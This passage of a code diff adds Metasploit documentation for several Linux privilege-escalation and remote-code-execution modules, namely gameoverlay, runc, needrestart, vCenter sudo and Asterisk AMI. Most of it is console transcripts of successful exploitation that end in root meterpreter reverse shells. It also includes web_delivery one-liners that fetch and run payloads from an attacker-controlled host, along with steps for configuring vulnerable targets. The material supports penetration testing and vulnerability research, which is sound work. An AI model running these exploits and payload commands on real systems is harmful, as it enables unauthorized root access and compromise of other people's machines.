(linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux_Binary + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/local/gameoverlay_privesc) > run + +[*] Started reverse TCP handler on 10.5.135.201:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected Ubuntu version: Jammy Jellyfish +[*] Detected kernel version: 5.19.0-41-generic +[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable +[*] Creating directory to store payload: /tmp/ODBpneOXk/ +[*] Creating directory /tmp/ODBpneOXk/ +[*] /tmp/ODBpneOXk/ created +[*] Creating directory /tmp/ODBpneOXk/ +[*] Creating directory /tmp/ODBpneOXk/ +[*] /tmp/ODBpneOXk/ created +[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/ +[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/ +[*] /tmp/ODBpneOXk/bmbtPAX/ created +[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/ +[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/ +[*] /tmp/ODBpneOXk/JtNbwLXJKw/ created +[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/ +[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/ +[*] /tmp/ODBpneOXk/hEhbByWL/ created +[*] Creating directory /tmp/ODBpneOXk/yvvSFre/ +[*] Creating directory /tmp/ODBpneOXk/yvvSFre/ +[*] /tmp/ODBpneOXk/yvvSFre/ created +[*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 10.5.132.129 +[*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy +[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 10.5.132.129 +OS : Ubuntu 22.04 (Linux 5.19.0-41-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +``` diff --git a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md index d3af51c51173..7e2275280902 100644 --- a/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md +++ b/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md @@ -5,7 +5,20 @@ and Kubernetes are vulnerable to an arbitrary file write. Due to a file descriptor leak it is possible to mount the host file system with the permissions of runc (typically root). -Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. +Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build. +Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build. +Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build. + +### Arch Install + +``` +wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst +pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst +wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst +pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst +systemctl start docker.service && systemctl enable docker.service +usermod -aG docker +``` ## Verification Steps @@ -26,7 +39,9 @@ available (`scratch` won't work). Defaults to `alpine:latest` ## FILEDESCRIPTOR -The file descriptor to use, typically `7` or `8`. Defaults to `8` +The file descriptor to use, typically `7` or `8`. Defaults to `7` + +## Scenarios ### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04 @@ -117,3 +132,106 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2 meterpreter > getuid Server username: root ``` + +### Debian 12.4 + +``` +msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true + +[*] Started reverse TCP handler on 192.168.20.24:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected +[*] Creating directory /tmp/.jwBZNB +[*] /tmp/.jwBZNB created +[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7 +[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile +[*] Building from Dockerfile to set our payload permissions +[*] #0 building with "default" instance using docker driver +[*] +[*] #1 [internal] load build definition from Dockerfile +[*] #1 transferring dockerfile: 217B done +[*] #1 DONE 0.0s +[*] +[*] #2 [internal] load metadata for docker.io/library/alpine:latest +[*] #2 DONE 3.5s +[*] +[*] #3 [internal] load .dockerignore +[*] #3 transferring context: 2B done +[*] #3 DONE 0.0s +[*] +[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b +[*] #4 DONE 0.0s +[*] +[*] #5 [2/3] WORKDIR /proc/self/fd/7 +[*] #5 CACHED +[*] +[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7 +[*] #6 DONE 0.3s +[*] +[*] #7 exporting to image +[*] #7 exporting layers 0.0s done +[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done +[*] #7 DONE 0.1s +[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 +[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 +[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.20.25 +[+] Deleted /tmp/.jwBZNB/.cleXu7 +[+] Deleted /tmp/.jwBZNB/Dockerfile +[+] Deleted /tmp/.jwBZNB +[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.20.25 +OS : Debian 12.4 (Linux 6.1.0-17-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Arch + +``` +[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation. +[*] Creating directory /home/user/.mpjj2xVK6 +[*] /home/user/.mpjj2xVK6 created +[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47 +[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile +RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47 +[*] Building from Dockerfile to set our payload permissions +[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release. +[*] Install the buildx component to build images with BuildKit: +[*] https://docs.docker.com/go/buildx/ +[*] +[*] Sending build context to Docker daemon 3.072kB +[*] Step 1/3 : FROM alpine:latest +[*] ---> 4048db5d3672 +[*] Step 2/3 : WORKDIR /proc/self/fd/8 +[*] ---> Using cache +[*] ---> 6421d9ffc175 +[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47 +[*] ---> Running in 09b17fa56c44 +[*] Removing intermediate container 09b17fa56c44 +[*] ---> 38c39324ec16 +[*] Successfully built 38c39324ec16 +[*] Removing created docker image 38c39324ec16 +[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6 +true +-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47 +[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47 +[+] Deleted /home/user/.mpjj2xVK6/Dockerfile +[+] Deleted /home/user/.mpjj2xVK6 +[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500 + +(Meterpreter 11)(/home/user) > getuid +Server username: root +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md new file mode 100644 index 000000000000..911e4e8e644a --- /dev/null +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -0,0 +1,144 @@ +## Vulnerable Application + +Local attackers can execute arbitrary code as root by +tricking needrestart into running the Python interpreter with an +attacker-controlled PYTHONPATH environment variable. + +Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + +Exploitation against vulnerable needrestart versions on +Debian 12 and Fedora 39 were unsuccessful +however install and run instructions are listed below. + +### Debian + +Install: `apt-get install needrestart=3.6-4+deb12u1` + +Binary location: `/usr/sbin/needrestart` + +### Fedora 39 + +Install: `dnf install needrestart-3.6-9.fc39.noarch` + +Binary location: `/usr/sbin/needrestart` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get an initial shell +4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe` +5. Do: `set lhost ` +6. Do: `set lport ` +7. Do: `set session ` +8. Do: `run` +9. You should get a root shell. + +## Options + +### ListenerTimeout + +The maximum number of seconds to wait for session. Defaults to `90,000` which is 25hrs. + +## Scenarios + +### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + +Gain initial shell + +``` +msf6 > use exploit/multi/script/web_delivery +998 +run[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set target 7 +target => 7 +msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(multi/script/web_delivery) > set lport 4998 +lport => 4998 +msf6 exploit(multi/script/web_delivery) > set srvport 8998 +srvport => 8998 +msf6 exploit(multi/script/web_delivery) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 1.1.1.1:4998 +[*] Using URL: http://1.1.1.1:8998/dKtdkMS +[*] Server started. +[*] Run the following command on the target machine: +wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500 + +msf6 exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: h00die +meterpreter > background +[*] Backgrounding session 1... +``` + +Priv Esc + +``` +msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977 +lport => 4977 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1 +session => 1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true +verbose => true +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run + +[*] Started reverse TCP handler on 1.1.1.1:4977 +[*] Running automatic check ("set AutoCheck false" to disable) + +[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04 +[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ... +[*] Uploading payload: /tmp/.1K8Hy2tOtq +[*] Creating directory /tmp/importlib +[*] /tmp/importlib created +[*] Uploading c_stub: /tmp/importlib/__init__.so +[*] Uploading py_script: /tmp/.FzzlJ +[*] Launching exploit, and waiting for needrestart to run... +``` + +On the remote Ubuntu box run `sudo needrestart` + +``` +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted +[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth: +[*] +[*] Traceback (most recent call last): +[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage +[*] exec(line) +[*] File "", line 1, in +[*] ImportError: dynamic module does not define module export function (PyInit_importlib) +[*] +[*] Remainder of file ignored +[*] ######################### +[*] +[*] Dont mind the error message above +[*] +[*] Waiting for needrestart to run... +[*] Payload owned by: root +[+] Deleted /tmp/.1K8Hy2tOtq +[+] Deleted /tmp/.FzzlJ +[+] Deleted /tmp/importlib +[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500 + +meterpreter > +meterpreter > getuid +Server username: root +``` diff --git a/documentation/modules/exploit/linux/local/vcenter_sudo_lpe.md b/documentation/modules/exploit/linux/local/vcenter_sudo_lpe.md new file mode 100644 index 000000000000..9bf5cb480710 --- /dev/null +++ b/documentation/modules/exploit/linux/local/vcenter_sudo_lpe.md @@ -0,0 +1,307 @@ +## Vulnerable Application + +VMware vCenter Server < 7.0.3 update R and < 8.0.2 update D +contains multiple local privilege escalation vulnerabilities +due to misconfiguration of sudo. An authenticated local user +with non-administrative privileges may exploit these issues +to elevate privileges to root on vCenter Server Appliance. + +Tested against VMware vCenter Server Appliance 8.0.0.10000 20519528 + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get an initial user level shell +4. Do: `use exploit/linux/local/vcenter_sudo_lpe` +5. Do: `set lhost ` +6. Do: `set sessoin ` +7. Do: `run` +8. You should get a root shell. + +## Options + +## Scenarios + +### VMware vCenter Server Appliance 8.0.0.10000 (VMware-VCSA-all-8.0.0-20519528.iso) + +#### `pod` user + +Start our first handler + +``` +[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 2.2.2.2 +lhost => 2.2.2.2 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set srvport 8181 +srvport => 8181 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 7 +target => 7 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Using URL: http://2.2.2.2:8181/wS8RErnHVLh +[*] Server started. +[*] Run the following command on the target machine: +wget -qO 5Y0wnQU5 --no-check-certificate http://2.2.2.2:8181/wS8RErnHVLh; chmod +x 5Y0wnQU5; ./5Y0wnQU5& disown +``` + +Setup, SSH in, start a shell, allow `pod` login access, then change user and start our payload. + +``` +PS C:\Users\h00die> ssh root@1.1.1.1 + +VMware vCenter Server Appliance 8.0.0.10000 + +(root@1.1.1.1) Password: +Connected to service + + * List APIs: "help api list" + * List Plugins: "help pi list" + * Launch BASH: "shell" + +Command> api com.vmware.appliance.version1.system.version.get +Version: + Version: 8.0.0.10000 + Product: VMware vCenter Server + Build: 20519528 + Type: '' + Summary: VMware vCenter Server 8.0 + Releasedate: October 11, 2022 + Installtime: '' + +Command> shell +Shell access is granted to root +root@localhost [ ~ ]# usermod -s /bin/bash pod +/usr/sbin/usermod.bk -s /bin/bash pod +root@localhost [ ~ ]# su pod +pod@localhost [ /root ]$ cd /tmp +pod@localhost [ /tmp ]$ wget -qO smswhnVK --no-check-certificate http://2.2.2.2:8181/xLaIAPnwiuPr9; chmod +x smswhnVK; ./smswhnVK& disown +[1] 22325 +``` + +Priv Esc. Autocheck disabled due to an incomplete install. + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/tmp) > getuid +Server username: pod +(Meterpreter 1)(/tmp) > background +[*] Backgrounding session 1... +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_sudo_lpe +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set verbose true +verbose => true +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set lport 9879 +lport => 9879 +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set autocheck false +autocheck => false +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > run + +[*] Started reverse TCP handler on 2.2.2.2:9879 +[!] AutoCheck is disabled, proceeding with exploitation +[*] Utilizing VMWARE_PYTHON_PATH exploitation method for pod user. +[*] Creating directory /tmp/appliance +[*] /tmp/appliance created +[*] Writing '/tmp/appliance/9OP6wIQJl9' (250 bytes) ... +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 1.1.1.1 +[+] Deleted /tmp/appliance/9OP6wIQJl9 +[+] Deleted /tmp/appliance/__init__.py +[+] Deleted /tmp/appliance +[*] Meterpreter session 2 opened (2.2.2.2:9879 -> 1.1.1.1:34894) at 2024-11-18 07:24:13 -0500 + +(Meterpreter 2)(/tmp) > getuid +Server username: root +(Meterpreter 2)(/tmp) > background +[*] Backgrounding session 2... +[msf](Jobs:1 Agents:2) exploit(linux/local/vcenter_sudo_lpe) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/tmp) > getuid +Server username: pod +``` + +#### Operator Group + +If the user `mal` exists, use that. If not, follow the bellow instructions + +Make a user in the operator group: + +``` +sudo useradd -m -s /bin/bash operator1 +sudo usermod -aG users operator1 +sudo usermod -aG operator operator1 +``` + +This may be enough, but on my install which didn't complete I had to add the sudo entry manually. + +``` +visudo +``` + +Add the following at the end: + +``` +User_Alias PYTHON_USERS = operator1 +Defaults:PYTHON_USERS env_keep += "PYTHONPATH" +``` + +Start our first handler + +``` +[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 2.2.2.2 +lhost => 2.2.2.2 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set srvport 8181 +srvport => 8181 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 7 +target => 7 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Using URL: http://2.2.2.2:8181/eEgibKL2K +[*] Server started. +[*] Run the following command on the target machine: +wget -qO JSlY5cPV --no-check-certificate http://2.2.2.2:8181/eEgibKL2K; chmod +x JSlY5cPV; ./JSlY5cPV& disown +[*] Sending stage (3045380 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:56166) at 2024-11-18 16:27:17 -0500 +``` + +Priv Esc. Autocheck disabled due to an incomplete install. + +``` +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_sudo_lpe +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set lhost 2.2.2.2 +lhost => 2.2.2.2 +[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set lport 9870 +lport => 9870 +[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set verbose true +verbose => true +[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set autocheck false +autocheck => false +[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > run + +[*] Started reverse TCP handler on 2.2.2.2:9870 +[!] AutoCheck is disabled, proceeding with exploitation +[*] Utilizing PYTHONPATH exploitation method for operator group. +[*] Writing '/tmp/Ma5gGdnt' (250 bytes) ... +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 1.1.1.1 +[+] Deleted /tmp/Ma5gGdnt +[+] Deleted /tmp/spwd.py +[*] Meterpreter session 2 opened (2.2.2.2:9870 -> 1.1.1.1:40550) at 2024-11-18 16:27:28 -0500 + + +(Meterpreter 2)(/tmp) > +(Meterpreter 2)(/tmp) > getuid +Server username: root +(Meterpreter 2)(/tmp) > background +[*] Backgrounding session 2... +s[msf](Jobs:1 Agents:2) exploit(linux/local/vcenter_sudo_lpe) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/tmp) > getuid +Server username: operator1 +``` + +#### Admin Group + +If the user `admin` exists, use that. If not, follow the bellow instructions + +Make a user in the operator group: + +``` +useradd -m -s /bin/bash admin +usermod -aG admin admin +usermod -aG users admin +``` + +Start our first handler + +``` +[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 2.2.2.2 +lhost => 2.2.2.2 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set srvport 8181 +srvport => 8181 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 7 +target => 7 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Using URL: http://2.2.2.2:8181/Hul7qG +[*] Server started. +[*] Run the following command on the target machine: +wget -qO IsMq60f5 --no-check-certificate http://2.2.2.2:8181/Hul7qG; chmod +x IsMq60f5; ./IsMq60f5& disown +[*] Sending stage (3045380 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:56166) at 2024-11-18 16:27:17 -0500 +``` + +Priv Esc + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_sudo_lpe +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set lhost 2.2.2.2 +lhost => 2.2.2.2 +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set lport 9870 +lport => 9870 +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set verbose true +verbose => true +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set autocheck false +autocheck => false +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > run + +[*] Started reverse TCP handler on 2.2.2.2:9870 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Exploitable version detected: 8.0.0.20519528 +[+] User is vulnerable +[+] The target appears to be vulnerable. Version 8.0.0.20519528 and user (admin:["users", "admin"]) are vulnerable +[*] Utilizing VMWARE_PYTHON_BIN exploitation method for admin group. +[*] Creating directory /tmp/appliance +[*] /tmp/appliance created +[*] Writing '/tmp/appliance/NKdii1ux' (250 bytes) ... +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 1.1.1.1 +[+] Deleted /tmp/appliance/NKdii1ux +[+] Deleted /tmp/appliance/__init__.py +[+] Deleted /tmp/appliance +[*] Meterpreter session 2 opened (2.2.2.2:9870 -> 1.1.1.1:58686) at 2024-11-21 04:00:08 -0500 + +(Meterpreter 2)(/tmp) > getuid +Server username: root +(Meterpreter 2)(/tmp) > background +[*] Backgrounding session 2... +s[msf](Jobs:1 Agents:2) exploit(linux/local/vcenter_sudo_lpe) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/tmp) > getuid +Server username: admin +(Meterpreter 1)(/tmp) > +``` diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md new file mode 100644 index 000000000000..5607a45a3d56 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -0,0 +1,171 @@ +## Vulnerable Application + +On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk +versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change +all configuration files in the '/etc/asterisk/' directory. Writing a new extension +can be created which performs a system command to achieve RCE as the asterisk service +user (typically asterisk). + +Default parking lot in FreePBX is called "Default lot" on the website interface, +however its actually 'parkedcalls'. + +Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. + +### Install + +One easy method, while outdated, is using the FreePBX ISO. + +1. Boot to ISO and install the system. Choose Asterisk 19 +2. Visit the web interface on port 80 +3. Complete initial setup, make sure to not do updates. +4. login +5. Click FreePBX Administration +6. Click the hamburger > Applications > Parking +7. Check the parking extension and name (`70` and `Default lot` are the defaults) +8. Login (ssh/local) and edit `/etc/asterisk/manager.conf` + 1. Under `[general]`: + 1. Change `bindaddr` value to `0.0.0.0` + 2. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0` + 3. Add the following at the bottom of the file: + ``` +[testuser] +secret=testuser +write=originate +permit=0.0.0.0/255.255.255.0 + ``` +9. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up) + +Default parking lot is called "Default lot" in the website interface, however its actually `parkedcalls` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce` +1. Do: `set rhosts ` +1. Do: `set lhost ` +1. Do: `set username ` +1. Do: `set password ` +1. You should get a shell. + +## Options + +### CONF + +The extensions configuration file location. Defaults to `/etc/asterisk/extensions.conf` + +### PARKINGLOT + +The extensions and name of the parking lot. Defaults to `70@parkedcalls` + +### EXTENSION + +The extension number to backdoor. Defaults to a random number between 3-5 digits. + +## Scenarios + +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 19 + +``` +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: EfVeZSDeGcn +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: 